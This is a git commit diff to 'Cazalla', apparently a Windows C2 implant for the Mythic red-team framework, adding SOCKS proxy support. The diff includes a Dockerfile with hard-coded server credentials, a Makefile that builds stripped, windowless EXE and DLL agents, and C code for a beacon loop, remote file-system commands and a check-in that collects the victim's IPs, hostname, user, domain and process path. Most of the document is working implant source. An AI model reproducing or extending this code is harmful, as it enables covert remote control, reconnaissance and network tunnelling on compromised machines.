Socks funcional
This commit is contained in:
@@ -1,5 +1,6 @@
|
|||||||
FROM python:3.11
|
FROM python:3.11
|
||||||
|
|
||||||
|
# --- ARGs que Mythic usa al construir payloads (mantenerlos) ---
|
||||||
ARG CA_CERTIFICATE
|
ARG CA_CERTIFICATE
|
||||||
ARG NPM_REGISTRY
|
ARG NPM_REGISTRY
|
||||||
ARG PYPI_INDEX
|
ARG PYPI_INDEX
|
||||||
@@ -8,24 +9,35 @@ ARG DOCKER_REGISTRY_MIRROR
|
|||||||
ARG HTTP_PROXY
|
ARG HTTP_PROXY
|
||||||
ARG HTTPS_PROXY
|
ARG HTTPS_PROXY
|
||||||
|
|
||||||
# Evita prompts (tzdata) y builds no reproducibles
|
# --- Evita prompts (tzdata) y builds no reproducibles ---
|
||||||
ENV DEBIAN_FRONTEND=noninteractive \
|
ENV DEBIAN_FRONTEND=noninteractive \
|
||||||
PIP_NO_CACHE_DIR=1
|
PIP_NO_CACHE_DIR=1
|
||||||
|
|
||||||
# Update + install en el MISMO layer. Sin upgrade, sin purge.
|
# --- Instala toolchain y utilidades necesarias para compilar agentes en C ---
|
||||||
RUN apt-get update \
|
RUN apt-get update && \
|
||||||
&& apt-get install -y --no-install-recommends \
|
apt-get install -y --no-install-recommends \
|
||||||
apt-utils ca-certificates git zip make build-essential \
|
apt-utils ca-certificates git zip make build-essential \
|
||||||
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
libssl-dev zlib1g-dev libbz2-dev xz-utils tk-dev libffi-dev \
|
||||||
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm \
|
liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm && \
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
rm -rf /var/lib/apt/lists/*
|
||||||
|
|
||||||
# (Opcional) pip reciente / compatibilidad wheels
|
# --- Actualiza pip / setuptools / wheel ---
|
||||||
RUN python -m pip install --upgrade pip setuptools wheel
|
RUN python -m pip install --upgrade pip setuptools wheel
|
||||||
|
|
||||||
|
# --- Instala el paquete base de Mythic y dependencias del payload ---
|
||||||
COPY requirements.txt /
|
COPY requirements.txt /
|
||||||
RUN pip3 install -r /requirements.txt
|
RUN pip install --no-cache-dir -r /requirements.txt \
|
||||||
|
&& pip install --no-cache-dir mythic-container
|
||||||
|
|
||||||
|
# --- Variables de entorno necesarias para comunicación con el core Mythic ---
|
||||||
|
ENV MYTHIC_SERVER_HOST="mythic_server"
|
||||||
|
ENV MYTHIC_SERVER_PORT="17443"
|
||||||
|
ENV MYTHIC_SERVER_USERNAME="mythic_admin"
|
||||||
|
ENV MYTHIC_SERVER_PASSWORD="mythic_password"
|
||||||
|
|
||||||
|
# --- Copia el código del payload ---
|
||||||
WORKDIR /Mythic/
|
WORKDIR /Mythic/
|
||||||
|
COPY ./ /Mythic/cazalla/
|
||||||
|
|
||||||
|
# --- Comando por defecto ---
|
||||||
CMD ["python3", "main.py"]
|
CMD ["python3", "main.py"]
|
||||||
|
|
||||||
@@ -1,8 +1,12 @@
|
|||||||
# Compiler
|
# Compiler
|
||||||
CC = x86_64-w64-mingw32-gcc
|
CC = x86_64-w64-mingw32-gcc
|
||||||
CFLAGS = -Wall -w -s -IInclude
|
|
||||||
|
# Base flags
|
||||||
|
CFLAGS = -Wall -w -IInclude
|
||||||
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -mwindows
|
||||||
DFLAGS = -D_DEBUG
|
# Console flags (no -mwindows) for debug console output
|
||||||
|
LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
|
||||||
|
DFLAGS = -D_DEBUG -DDEBUG_SOCKS -g
|
||||||
|
|
||||||
# Directories
|
# Directories
|
||||||
SRC_FILES := *.c
|
SRC_FILES := *.c
|
||||||
@@ -13,31 +17,32 @@ $(shell mkdir -p $(BUILD_DIR))
|
|||||||
|
|
||||||
# Build Targets
|
# Build Targets
|
||||||
all: exe dll
|
all: exe dll
|
||||||
|
|
||||||
exe: $(BUILD_DIR)/cazalla.exe
|
|
||||||
|
|
||||||
dll: $(BUILD_DIR)/cazalla.dll
|
|
||||||
|
|
||||||
debug: debug_exe debug_dll
|
debug: debug_exe debug_dll
|
||||||
|
|
||||||
|
exe: $(BUILD_DIR)/cazalla.exe
|
||||||
|
dll: $(BUILD_DIR)/cazalla.dll
|
||||||
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
|
||||||
|
|
||||||
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
|
||||||
|
|
||||||
# Executable Target
|
# Executable Target
|
||||||
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DFLAGS)
|
||||||
|
|
||||||
# DLL Target
|
# DLL Target
|
||||||
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS)
|
||||||
|
|
||||||
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
|
||||||
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
|
||||||
|
|
||||||
|
# Optional: file-logging debug build (writes to C:\\Temp\\Ra.log)
|
||||||
|
debug_log: $(BUILD_DIR)/cazalla-debug-log.exe
|
||||||
|
$(BUILD_DIR)/cazalla-debug-log.exe: $(SRC_FILES)
|
||||||
|
$(CC) $^ -o $@ $(CFLAGS) -D_EXE -D_DEBUG_RELEASE $(LFLAGS_CONSOLE) $(DFLAGS)
|
||||||
|
|
||||||
# Clean up
|
# Clean up
|
||||||
clean:
|
clean:
|
||||||
rm -rf $(BUILD_DIR)
|
rm -rf $(BUILD_DIR)
|
||||||
|
|||||||
@@ -1,6 +1,9 @@
|
|||||||
#include "SistemadeFicheros.h"
|
#include "SistemadeFicheros.h"
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
|
/* Forward decl to avoid implicit declaration on some toolchains */
|
||||||
|
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...);
|
||||||
|
|
||||||
#define _CRT_SECURE_NO_WARNINGS
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
#pragma warning(disable : 4996)
|
#pragma warning(disable : 4996)
|
||||||
|
|
||||||
@@ -31,10 +34,10 @@ VOID CambiarDirectorio(PAnalizador argumentos) {
|
|||||||
pathNormalizado[j++] = pathIntroducido[i];
|
pathNormalizado[j++] = pathIntroducido[i];
|
||||||
}
|
}
|
||||||
|
|
||||||
// Asegurar que el path esté terminado en null
|
// Asegurar que el path est� terminado en null
|
||||||
pathNormalizado[j] = '\0';
|
pathNormalizado[j] = '\0';
|
||||||
|
|
||||||
// Convertir el path a minúsculas para evitar problemas con mayúsculas/minúsculas
|
// Convertir el path a min�sculas para evitar problemas con may�sculas/min�sculas
|
||||||
for (int i = 0; i < j; i++) {
|
for (int i = 0; i < j; i++) {
|
||||||
pathNormalizado[i] = tolower(pathNormalizado[i]);
|
pathNormalizado[i] = tolower(pathNormalizado[i]);
|
||||||
}
|
}
|
||||||
@@ -80,7 +83,7 @@ VOID ListarDirectorio(PAnalizador argumentos){
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
UINT32 tamanoPath = NULL;
|
UINT32 tamanoPath = 0;
|
||||||
SIZE_T tamano = 0;
|
SIZE_T tamano = 0;
|
||||||
char nombreFichero[MAX_FILENAME];
|
char nombreFichero[MAX_FILENAME];
|
||||||
PCHAR fichero = getString(argumentos, &tamano);
|
PCHAR fichero = getString(argumentos, &tamano);
|
||||||
@@ -169,7 +172,7 @@ BOOL ObtenerPath(PAnalizador argumentos) {
|
|||||||
if (length == 0) {
|
if (length == 0) {
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
_err("[pwd] Error obteniendo directorio actual. Código: %lu\n", error);
|
_err("[pwd] Error obteniendo directorio actual. C�digo: %lu\n", error);
|
||||||
|
|
||||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaError, tareaUuid, FALSE);
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
@@ -227,7 +230,7 @@ VOID CopiarFichero(PAnalizador argumentos) {
|
|||||||
|
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
_err("[cp] No se ha podido copiar. Código: %lu\n", error);
|
_err("[cp] No se ha podido copiar. C�digo: %lu\n", error);
|
||||||
|
|
||||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaError, tareaUuid, FALSE);
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
@@ -283,7 +286,7 @@ VOID CrearRuta(PAnalizador argumentos){
|
|||||||
if (!CreateDirectoryA(directorio, NULL)){
|
if (!CreateDirectoryA(directorio, NULL)){
|
||||||
DWORD error = GetLastError();
|
DWORD error = GetLastError();
|
||||||
|
|
||||||
_err("[mkdir] No se ha podido crear el directorio. Código: %lu\n", error);
|
_err("[mkdir] No se ha podido crear el directorio. C�digo: %lu\n", error);
|
||||||
|
|
||||||
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
PPaquete respuestaError = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||||
addString(respuestaError, tareaUuid, FALSE);
|
addString(respuestaError, tareaUuid, FALSE);
|
||||||
|
|||||||
@@ -1,39 +1,78 @@
|
|||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
#include "Config.h"
|
#include "Config.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
|
||||||
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[MAINDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
CONFIG_CAZALLA* cazallaConfig = NULL;
|
CONFIG_CAZALLA* cazallaConfig = NULL;
|
||||||
|
|
||||||
VOID cazallaMain() {
|
VOID cazallaMain() {
|
||||||
|
|
||||||
//v2: evitar LocalAlloc
|
printf("[CAZALLA] Inicializando configuración de Cazalla\n");
|
||||||
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
fflush(stdout);
|
||||||
cazallaConfig->idAgente = (PCHAR)initUUID;
|
|
||||||
cazallaConfig->hostName = (PWCHAR)hostname;
|
|
||||||
cazallaConfig->puertoHttp = port;
|
|
||||||
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
|
||||||
cazallaConfig->userAgent = (PWCHAR)useragent;
|
|
||||||
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
|
||||||
cazallaConfig->SSL = ssl;
|
|
||||||
cazallaConfig->proxyHabilitado = proxyenabled;
|
|
||||||
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
|
||||||
cazallaConfig->tiempoSleep = sleep_time*1000;
|
|
||||||
|
|
||||||
|
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
|
||||||
|
if (!cazallaConfig) {
|
||||||
|
_err("Error: fallo en LocalAlloc para cazallaConfig.\n");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
cazallaConfig->idAgente = (PCHAR)initUUID;
|
||||||
|
cazallaConfig->hostName = (PWCHAR)hostname;
|
||||||
|
cazallaConfig->puertoHttp = port;
|
||||||
|
cazallaConfig->endPoint = (PWCHAR)endpoint;
|
||||||
|
cazallaConfig->userAgent = (PWCHAR)useragent;
|
||||||
|
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
|
||||||
|
cazallaConfig->SSL = ssl;
|
||||||
|
cazallaConfig->proxyHabilitado= proxyenabled;
|
||||||
|
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
|
||||||
|
cazallaConfig->tiempoSleep = (UINT32)(sleep_time) * 1000;
|
||||||
|
|
||||||
|
printf("[CAZALLA] Config: id=%s host=%ls port=%u ssl=%d proxy=%d endpoint=%ls UA=%ls sleep=%u\n",
|
||||||
|
cazallaConfig->idAgente,
|
||||||
|
cazallaConfig->hostName,
|
||||||
|
cazallaConfig->puertoHttp,
|
||||||
|
(int)cazallaConfig->SSL,
|
||||||
|
(int)cazallaConfig->proxyHabilitado,
|
||||||
|
cazallaConfig->endPoint,
|
||||||
|
cazallaConfig->userAgent,
|
||||||
|
cazallaConfig->tiempoSleep);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
printf("[CAZALLA] Iniciando primer checkin...\n");
|
||||||
|
fflush(stdout);
|
||||||
PAnalizador respuestaAnalizador = checkin();
|
PAnalizador respuestaAnalizador = checkin();
|
||||||
|
|
||||||
if (!respuestaAnalizador) {
|
if (!respuestaAnalizador) {
|
||||||
_err("error en el primer checkin, cerrando\n");
|
printf("[CAZALLA] Error en el primer checkin, cerrando.\n");
|
||||||
|
fflush(stdout);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
parseChecking(respuestaAnalizador);
|
parseChecking(respuestaAnalizador);
|
||||||
|
|
||||||
while (TRUE){
|
printf("[CAZALLA] Entrando en bucle principal (rutina). Sleep inicial: %u ms\n", cazallaConfig->tiempoSleep);
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
|
while (TRUE) {
|
||||||
rutina();
|
rutina();
|
||||||
|
|
||||||
|
/* Si SOCKS está activo, reducir sleep para mejorar latencia */
|
||||||
|
if (socks_proxy_active) {
|
||||||
|
DBG_PRINTF("SOCKS activo -> checkin rápido (100 ms)");
|
||||||
|
Sleep(100);
|
||||||
|
} else {
|
||||||
|
DBG_PRINTF("SOCKS inactivo -> durmiendo %u ms", cazallaConfig->tiempoSleep);
|
||||||
|
Sleep(cazallaConfig->tiempoSleep);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID) {
|
VOID setUUID(PCHAR newUUID) {
|
||||||
cazallaConfig->idAgente = newUUID;
|
cazallaConfig->idAgente = newUUID;
|
||||||
return;
|
DBG_PRINTF("UUID actualizado: %s", newUUID);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -4,15 +4,15 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include "paquete.h"
|
#include "paquete.h"
|
||||||
|
|
||||||
#include "analizador.h"
|
#include "analizador.h"
|
||||||
#include "utils.h"
|
#include "utils.h"
|
||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
|
#include "socks_manager.h" // <— añadido para acceso a socks_proxy_active
|
||||||
|
|
||||||
typedef struct {
|
typedef struct {
|
||||||
// UUID
|
// UUID
|
||||||
PCHAR idAgente;
|
PCHAR idAgente;
|
||||||
//HTTP
|
// HTTP
|
||||||
PWCHAR hostName;
|
PWCHAR hostName;
|
||||||
DWORD puertoHttp;
|
DWORD puertoHttp;
|
||||||
PWCHAR endPoint;
|
PWCHAR endPoint;
|
||||||
@@ -24,12 +24,11 @@ typedef struct {
|
|||||||
PWCHAR urlProxy;
|
PWCHAR urlProxy;
|
||||||
|
|
||||||
UINT32 tiempoSleep;
|
UINT32 tiempoSleep;
|
||||||
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
|
} CONFIG_CAZALLA, *PCONFIG_CAZALLA;
|
||||||
|
|
||||||
extern PCONFIG_CAZALLA cazallaConfig;
|
extern PCONFIG_CAZALLA cazallaConfig;
|
||||||
|
|
||||||
|
|
||||||
VOID setUUID(PCHAR newUUID);
|
VOID setUUID(PCHAR newUUID);
|
||||||
VOID cazallaMain();
|
VOID cazallaMain(void);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
@@ -1,196 +1,171 @@
|
|||||||
#include "checkin.h"
|
#include "checkin.h"
|
||||||
#include "cazalla.h"
|
#include "cazalla.h"
|
||||||
|
#include "socks_manager.h"
|
||||||
|
|
||||||
#pragma comment(lib, "iphlpapi.lib")
|
#pragma comment(lib, "iphlpapi.lib")
|
||||||
#include <iphlpapi.h>
|
#include <iphlpapi.h>
|
||||||
|
|
||||||
// Obtener Direcciones IPs.
|
#ifdef DEBUG_SOCKS
|
||||||
|
#define DBG_PRINTF(...) do { fprintf(stderr, "[CHKDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
|
||||||
|
#else
|
||||||
|
#define DBG_PRINTF(...) ((void)0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// === Obtener Direcciones IPs ===
|
||||||
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
|
||||||
|
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
||||||
|
DWORD dwSize = 0;
|
||||||
|
DWORD dwRetVal = 0;
|
||||||
|
IN_ADDR IPAddr;
|
||||||
|
|
||||||
PMIB_IPADDRTABLE pTablaDireccionesIP;
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
||||||
DWORD dwSize = 0;
|
if (pTablaDireccionesIP) {
|
||||||
DWORD dwRetVal = 0;
|
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
||||||
IN_ADDR IPAddr;
|
LocalFree(pTablaDireccionesIP);
|
||||||
LPVOID lpMsgBuf;
|
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
||||||
|
}
|
||||||
|
if (pTablaDireccionesIP == NULL) return NULL;
|
||||||
|
} else return NULL;
|
||||||
|
|
||||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
|
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
||||||
if (pTablaDireccionesIP) {
|
return NULL;
|
||||||
|
} else {
|
||||||
|
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
||||||
|
}
|
||||||
|
|
||||||
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
|
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
||||||
|
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
||||||
|
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
||||||
|
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
||||||
|
}
|
||||||
|
|
||||||
LocalFree(pTablaDireccionesIP);
|
if (pTablaDireccionesIP) LocalFree(pTablaDireccionesIP);
|
||||||
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
|
return tableOfIPs;
|
||||||
}
|
|
||||||
|
|
||||||
if (pTablaDireccionesIP == NULL) {
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
}
|
|
||||||
else {
|
|
||||||
|
|
||||||
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
|
|
||||||
}
|
|
||||||
|
|
||||||
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
|
|
||||||
|
|
||||||
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
|
|
||||||
|
|
||||||
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
|
|
||||||
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pTablaDireccionesIP) {
|
|
||||||
|
|
||||||
LocalFree(pTablaDireccionesIP);
|
|
||||||
}
|
|
||||||
|
|
||||||
return tableOfIPs;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// === Obtener arquitectura ===
|
||||||
// Obtener la arquitectura
|
|
||||||
BYTE obtenerArquitectura() {
|
BYTE obtenerArquitectura() {
|
||||||
|
SYSTEM_INFO informacionDelSistema;
|
||||||
SYSTEM_INFO informacionDelSistema;
|
GetNativeSystemInfo(&informacionDelSistema);
|
||||||
|
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 ||
|
||||||
GetNativeSystemInfo(&informacionDelSistema);
|
informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
||||||
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
|
return 0x64;
|
||||||
return 0x64;
|
}
|
||||||
}
|
return 0x86;
|
||||||
|
|
||||||
return 0x86;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el Hostname
|
// === Obtener hostname ===
|
||||||
PCHAR obtenerHostame() {
|
PCHAR obtenerHostame() {
|
||||||
|
LPSTR datos = NULL;
|
||||||
LPSTR datos = NULL;
|
DWORD dataLen = 0;
|
||||||
DWORD dataLen = 0;
|
const char* hostnameRep = "N/A";
|
||||||
const char* hostnameRep = "N/A";
|
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen)) {
|
||||||
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||||
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
|
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
||||||
{
|
hostnameRep = datos;
|
||||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
|
}
|
||||||
{
|
}
|
||||||
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
|
return (char*)hostnameRep;
|
||||||
hostnameRep = datos;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return (char*)hostnameRep;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el usuario
|
// === Obtener usuario ===
|
||||||
char* obtenerUsuarios() {
|
char* obtenerUsuarios() {
|
||||||
|
LPSTR datos = NULL;
|
||||||
LPSTR datos = NULL;
|
DWORD dataLen = 0;
|
||||||
DWORD dataLen = 0;
|
const char* usuario = "N/A";
|
||||||
const char* usuario = "N/A";
|
if (!GetUserNameA(NULL, &dataLen)) {
|
||||||
|
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
||||||
if (!GetUserNameA(NULL, &dataLen)) {
|
GetUserNameA(datos, &dataLen);
|
||||||
|
usuario = datos;
|
||||||
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
|
}
|
||||||
|
}
|
||||||
GetUserNameA(datos, &dataLen);
|
return (char*)usuario;
|
||||||
usuario = datos;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return (char*)usuario;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Obtener el dominio
|
// === Obtener dominio ===
|
||||||
LPWSTR obtenerDominio() {
|
LPWSTR obtenerDominio() {
|
||||||
|
DWORD dwLevel = 102;
|
||||||
|
LPWKSTA_INFO_102 pBuf = NULL;
|
||||||
|
PWCHAR dominio = NULL;
|
||||||
|
NET_API_STATUS nStatus;
|
||||||
|
LPWSTR pszServerName = NULL;
|
||||||
|
|
||||||
DWORD dwLevel = 102;
|
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
||||||
LPWKSTA_INFO_102 pBuf = NULL;
|
if (nStatus == NERR_Success) {
|
||||||
PWCHAR dominio = NULL;
|
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
||||||
NET_API_STATUS nStatus;
|
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
||||||
LPWSTR pszServerName = NULL;
|
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
||||||
|
}
|
||||||
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
|
if (pBuf != NULL) NetApiBufferFree(pBuf);
|
||||||
if (nStatus == NERR_Success) {
|
return dominio;
|
||||||
|
|
||||||
DWORD length = lstrlenW(pBuf->wki102_langroup);
|
|
||||||
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
|
|
||||||
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pBuf != NULL) {
|
|
||||||
|
|
||||||
NetApiBufferFree(pBuf);
|
|
||||||
}
|
|
||||||
|
|
||||||
return dominio;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
char* getOsName() {
|
// === Obtener OS ===
|
||||||
|
char* getOsName() { return (PCHAR)"Windows"; }
|
||||||
|
|
||||||
return (PCHAR)"Windows";
|
// === Obtener nombre del proceso actual ===
|
||||||
}
|
|
||||||
|
|
||||||
// Obtener el nombre del proceso actual
|
|
||||||
char* obtenerNombreProceso() {
|
char* obtenerNombreProceso() {
|
||||||
|
char* nombreProceso = NULL;
|
||||||
char* nombreProceso = NULL;
|
HANDLE handle = GetCurrentProcess();
|
||||||
HANDLE handle = GetCurrentProcess();
|
if (handle) {
|
||||||
if (handle) {
|
DWORD buffSize = 1024;
|
||||||
|
CHAR buffer[1024];
|
||||||
DWORD buffSize = 1024;
|
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
||||||
CHAR buffer[1024];
|
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
||||||
|
memcpy(nombreProceso, buffer, buffSize);
|
||||||
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
|
}
|
||||||
|
CloseHandle(handle);
|
||||||
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
|
}
|
||||||
memcpy(nombreProceso, buffer, buffSize);
|
return nombreProceso;
|
||||||
}
|
|
||||||
CloseHandle(handle);
|
|
||||||
}
|
|
||||||
return nombreProceso;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Stub desactivado: el procesamiento SOCKS entrante se hace en transporte.c */
|
||||||
|
static VOID procesarSocksEntrante(PAnalizador respuesta) { (void)respuesta; }
|
||||||
|
|
||||||
|
/* ==========================================================
|
||||||
|
Check-in principal con soporte SOCKS
|
||||||
|
========================================================== */
|
||||||
PAnalizador checkin() {
|
PAnalizador checkin() {
|
||||||
|
printf("[CHECKIN] Iniciando checkin\n");
|
||||||
|
fflush(stdout);
|
||||||
|
|
||||||
UINT32 numeroDeIPs = 0;
|
UINT32 numeroDeIPs = 0;
|
||||||
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
|
||||||
if (!checkin) {
|
if (!checkin) {
|
||||||
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
|
||||||
|
|
||||||
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
|
||||||
addInt32(checkin, numeroDeIPs);
|
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
|
||||||
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
addInt32(checkin, numeroDeIPs);
|
||||||
addInt32(checkin, tableOfIPs[i]);
|
for (UINT32 i = 0; i < numeroDeIPs; i++) {
|
||||||
}
|
addInt32(checkin, tableOfIPs[i]);
|
||||||
|
}
|
||||||
|
|
||||||
addString(checkin, getOsName(), TRUE);
|
addString(checkin, getOsName(), TRUE);
|
||||||
addByte(checkin, obtenerArquitectura());
|
addByte(checkin, obtenerArquitectura());
|
||||||
addString(checkin, obtenerHostame(), TRUE);
|
addString(checkin, obtenerHostame(), TRUE);
|
||||||
